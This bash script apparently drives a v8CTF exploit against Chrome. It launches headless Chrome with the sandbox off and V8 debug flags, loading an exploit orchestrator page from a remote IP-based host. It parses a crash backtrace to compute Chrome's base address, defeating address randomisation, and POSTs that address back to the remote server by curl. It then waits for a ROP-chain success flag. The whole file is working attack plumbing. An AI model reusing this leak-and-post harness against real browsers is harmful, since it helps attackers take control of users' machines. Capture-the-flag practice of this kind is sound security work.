#!/bin/bash
set -eu
session=${1:-localtest}
parent=35-188-184-40.sslip.io
children=35.188.184.40.nip.io,a.35.188.184.40.nip.io,b.35.188.184.40.nip.io
query="session=$session&children=$children&retryMs=45000"
if [ -n "${ORCHESTRATOR_EXTRA:-}" ]; then
  query="$query&$ORCHESTRATOR_EXTRA"
fi
url="https://$parent/v8ctf_orchestrator.html?$query"
out="/tmp/local-final-$session.chrome"
profile="/tmp/local-final-$session-profile"
rm -rf "$profile"
: >"$out"
flags=()
if [ "${DEV_FLAGS:-1}" = 1 ]; then
  flags+=(--js-flags=--allow-natives-syntax\ --expose-gc\ --stress-flush-code)
fi
if [ "${CHROME_LOGGING:-0}" = 1 ]; then
  flags+=(--enable-logging=stderr)
fi
/opt/chrome-linux64/chrome --headless=new --no-sandbox --disable-crashpad \
  --disable-breakpad --disable-crash-reporter --noerrdialogs --no-first-run \
  --user-data-dir="$profile" "${flags[@]}" "$url" >"$out" 2>&1 &
chrome_pid=$!
posted=0
for ((tick=0; tick<2400; ++tick)); do
  if grep -aq 'CTF{local_v8ctf_rop_chain_success}' "$out"; then
    grep -ao 'CTF{local_v8ctf_rop_chain_success}' "$out" | tail -n1
    kill "$chrome_pid" 2>/dev/null || true
    exit 0
  fi
  if [ "$posted" = 0 ]; then
    line=$(grep -am1 '^#0 ' "$out" || true)
    if [ -n "$line" ]; then
      absolute=$(printf '%s\n' "$line" | sed -n 's/^#0 0x\([0-9a-fA-F]*\).*/\1/p')
      relative=$(printf '%s\n' "$line" | sed -n 's/.*chrome+0x\([0-9a-fA-F]*\)).*/\1/p')
      base=$(( (0x$absolute - 0x$relative) & -4096 ))
      printf -v base_text '0x%x' "$base"
      curl -fsS -X POST --data "$base_text" \
        "https://$parent/state?session=$session"
      echo "POSTED_CHROME_BASE=$base_text"
      posted=1
    fi
  fi
  if ! kill -0 "$chrome_pid" 2>/dev/null; then
    echo 'browser exited early'
    tail -n80 "$out"
    exit 1
  fi
  sleep 0.25
done
kill "$chrome_pid" 2>/dev/null || true
echo 'local final timed out'
tail -n120 "$out"
exit 1
